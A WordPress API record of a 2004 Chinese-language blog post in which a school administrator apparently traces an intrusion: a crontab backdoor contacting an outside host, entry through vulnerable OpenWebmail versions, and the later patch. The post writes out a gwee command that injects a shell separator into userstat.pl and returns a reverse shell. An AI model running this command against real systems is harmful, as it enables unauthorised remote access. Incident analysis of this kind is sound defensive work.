{"id":109,"date":"2004-10-22T00:42:01","date_gmt":"2004-10-21T16:42:01","guid":{"rendered":"http:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/?p=109"},"modified":"2004-10-22T00:42:01","modified_gmt":"2004-10-21T16:42:01","slug":"1","status":"publish","type":"post","link":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/?p=109","title":{"rendered":"\u99ed\u5ba2\u5165\u4fb5\u4e8b\u4ef6\u7c3f1"},"content":{"rendered":"<p>\u76ee\u524d\u5927\u6982\u5df2\u7d93\u6574\u7406\u51fa\u99ed\u5ba2\u5165\u4fb5\u7684\u8def\u7dda\u4e86\u3002<\/p>\n<p>\u6211\u4e00\u958b\u59cb\u662f\u770b\u5230 www \u9019\u500b\u4f7f\u7528\u8005\uff0c\u4e00\u76f4\u6709\u5728\u57f7\u884c crontab\uff0c\u5b83\u6703\u4e0d\u65b7\u7684\u53bb\u547c\u53eb \/var\/spool\/uucppublic\/sh\u3002<br \/>\n\u9019\u986f\u7136\u662f\u4e00\u500b\u5f8c\u9580\u7a0b\u5f0f\uff0c\u6240\u8b02\u7684\u5f8c\u9580\u5c31\u662f\u99ed\u5ba2\u5165\u4fb5\u4e4b\u5f8c\uff0c\u70ba\u4e86\u907f\u514d\u7576\u6642\u7528\u4f86\u5165\u4fb5\u7684\u6f0f\u6d1e\u88ab\u4fee\u88dc\u8d77\u4f86\uff0c\u6240\u4ee5\u6253\u958b\u7684\u4e00\u9053\u5f8c\u9580\uff0c\u4f9b\u65e5\u5f8c\u65b9\u4fbf\u9032\u51fa\u8a72\u6a5f\u5668\u3002<\/p>\n<p><!--more--><br \/>\n\u6211\u4f7f\u7528 lsof \u53bb\u89c0\u5bdf\u9019\u500b\u6a94\u6848\uff0c\u53ca\u5176\u958b\u555f\u7684\u6a94\u6848\u6216\u8005\u7db2\u8def port\uff0c\u767c\u73fe\u5b83\u6703\u9023\u5230\u9019\u500b\u5730\u65b9\uff1a<br \/>\nccadam.com:6665<\/p>\n<p>\u56e0\u70ba\u6700\u8fd1\u5f88\u5fd9\uff0c\u6240\u4ee5\u4e00\u76f4\u6c92\u6709\u53bb\u6ce8\u610f\u6700\u8fd1\u88ab\u767c\u8868\u7684\u6f0f\u6d1e\uff0c\u53ea\u77e5\u9053\u99ed\u5ba2\u662f\u5229\u7528\u7db2\u9801\u7684\u670d\u52d9\u9032\u4f86\u7684\uff0c\u53ef\u662f\u672c\u6821\u7684\u7db2\u9801\u5be6\u5728\u592a\u591a\uff0c\u5230\u5e95\u54ea\u4e00\u96bb\u7a0b\u5f0f\u51fa\u554f\u984c\uff0c\u5176\u5be6\u4e5f\u4e0d\u66c9\u5f97\u3002\u53ea\u597d\u5148\u96a8\u4fbf\u731c\u6e2c\uff0c\u7136\u5f8c\u627e\u770b\u770b\u6709\u6c92\u6709\u5c0d\u61c9\u7684 advisory\u3002\u9084\u597d\uff0c\u6c92\u6709\u82b1\u592a\u591a\u6642\u9593\u5c31\u9396\u5b9a\u4e86\u4e00\u96bb\u6709\u6f0f\u6d1e\u7684\u7a0b\u5f0f\uff1aopenwebmail\uff0c\u4e5f\u5c31\u662f\u6211\u5011\u7684\u7db2\u8def\u90f5\u5c40\u3002<\/p>\n<p>\u6839\u64da <a href=\"http:\/\/www.hackwire.com\/comments.php?id=90&#038;catid=3\">Hackwire<\/a>\u4e0a\u7684\u8cc7\u6599\uff0c\u6709\u4e00\u500b\u4e0d\u932f\u7684 exploit \u5de5\u5177\uff1a<a href=\"http:\/\/cycom.se\/dl\/gwee\">Gwee<\/a>\uff0c\u53ef\u4ee5\u5e6b\u52a9\u6211\u53bb\u9a57\u8b49\u9019\u500b\u6f0f\u6d1e\u3002<\/p>\n<p>gwee (Generic Web Exploitation Engine) is a small program written in C designed to exploit input validation vulnerabilities in web scripts, such as Perl CGIs, PHP, etc. gwee is much like an exploit, except more general-purpose.<\/p>\n<p>\u8981\u5165\u4fb5\u5177\u6709\u6f0f\u6d1e\u7684 openwebmail \u7cfb\u7d71\uff0c\u53ea\u9700\u8981\u4e0b\u9019\u500b\u6307\u4ee4\uff1a<br \/>\n<code><br \/>\ngwee -L -y'loginname=%3B' -llocalhost -p31337 http:\/\/target\/cgi-bin\/openwebmail\/userstat.pl<\/code><\/p>\n<p>\u8a72\u7a0b\u5f0f\u6703\u5728 localhost \u53bb listen 31337 \u9019\u500b port\uff0c\u7136\u5f8c\u50b3\u56de\u4e00\u500b\u53d7\u5bb3\u7aef\u7684 shell\uff0c\u9019\u500b shell \u662f\u4ee5 www \u7684\u8eab\u4efd\u5728\u57f7\u884c\u7684\u3002<\/p>\n<p>\u7531\u65bc\u5b78\u751f\u90f5\u5c40\u6709\u8f03\u56b4\u683c\u7684\u9632\u706b\u7246\u8a2d\u5b9a\uff0c\u6240\u4ee5\u9019\u500b\u5de5\u5177\u6c92\u8fa6\u6cd5\u751f\u6548\u3002\uff08\u96d6\u7136\u9084\u662f\u6709\u6a5f\u6703\u7e5e\u904e\u9632\u706b\u7246\u4f86\u57f7\u884c exploit\uff09\u4f46\u9996\u9801\u7528\u7684\u4e3b\u6a5f\u6211\u70ba\u4e86\u63d0\u4f9b\u66f4\u9ad8\u7684\u6548\u80fd\uff0c\u6240\u4ee5\u6c92\u6709\u67b6\u9632\u706b\u7246\uff0c\u56e0\u6b64\u6210\u70ba\u76ee\u6a19\u3002<\/p>\n<p>\u73fe\u5728\u5df2\u7d93\u5c07 openwebmail \u90fd\u66f4\u65b0\u5230\u6700\u65b0\u7248\u4e86\u3002\u6709\u6f0f\u6d1e\u7684\u7248\u672c\u5305\u62ec OpenWebmail 2.20+ (2.20, 2.21, 2.30 confirmed) \u3002<\/p>\n<p>\u99ed\u5ba2\u5982\u679c\u8981\u627e\u53d7\u5bb3\u8005\uff0c\u771f\u7684\u5bb9\u6613\u5230\u4e86\u6975\u9ede\uff0c\u4e0d\u8b1b\u592a\u660e\u4e86\u3002<\/p>\n<div class=\"fcbkbttn_buttons_block\" id=\"fcbkbttn_left\"><div class=\"fcbkbttn_like \"><fb:like href=\"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/?p=109\" action=\"like\" colorscheme=\"light\" layout=\"standard\" show-faces='false' width=\"450px\" size=\"small\"><\/fb:like><\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>\u76ee\u524d\u5927\u6982\u5df2\u7d93\u6574\u7406\u51fa\u99ed\u5ba2\u5165\u4fb5\u7684\u8def\u7dda\u4e86\u3002 \u6211\u4e00\u958b\u59cb\u662f\u770b\u5230 www \u9019\u500b\u4f7f\u7528\u8005\uff0c\u4e00\u76f4\u6709 &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"more-link\" href=\"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/?p=109\"> <span class=\"screen-reader-text\">\u99ed\u5ba2\u5165\u4fb5\u4e8b\u4ef6\u7c3f1<\/span> \u95b1\u8b80\u66f4\u591a &raquo;<\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[],"_links":{"self":[{"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=\/wp\/v2\/posts\/109"}],"collection":[{"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=109"}],"version-history":[{"count":0,"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=\/wp\/v2\/posts\/109\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.shsh.ylc.edu.tw\/~taichis\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}